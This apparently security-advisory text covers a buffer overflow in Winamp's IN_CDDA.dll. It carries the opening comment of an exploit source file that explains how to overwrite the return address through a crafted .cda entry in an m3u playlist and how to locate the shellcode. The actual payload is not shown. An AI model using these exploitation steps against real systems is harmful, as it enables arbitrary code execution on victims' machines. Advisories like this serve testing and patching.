As we reported in our previous article: Winamp IN_CDDA.dll Buffer Overflow, a vulnerability in Winamp's IN_CDDA.dll allows attackers to cause Winamp to execute arbitrary code by overflowing an internal buffer. The attached exploit code can be used to test your system for the mentioned vulnerability.
Credit:
The information has been provided by Brett Moore.
Immune Systems:
* Winamp version 5.06
* Winamp version 2.91
Exploit:
/*
Credits go to the author
How to fix and study the bug:
* - The cdda library only reserves 20 bytes for names when files are "*.cda"
* - run Winamp with ollye
* - when loaded locate and break at:
10009BBB 8D4C24 20 LEA ECX,DWORD PTR SS:[ESP+20]
10009BBF 84C0 TEST AL,AL
10009BC1 74 0F JE SHORT in_cdda.10009BD2
10009BC3 3C 2E CMP AL,2E
10009BC5 74 0B JE SHORT in_cdda.10009BD2
that code copies and overwrites the stack if no '.' is found in the
first 20 bytes of the m3u entry. Entry must not have #EXTINF data or
it won't resolve.
* - name that entry like "C:\\1234567890abXXXX.cda" and xxxx will be your return address.
stack will be overwritten and exception occurs. When going out of that exception you'll be launched to padding.
* - look for .data section of in_cdda.dll and locate the shellcode or string, and update if needed the
field Location of shellcode (see host info). In my case it's x1002355b.
*/
#include <stdio.h> //File ops.
//m3u File format
//http://hanna.pyxidis.org/tech/m3u.html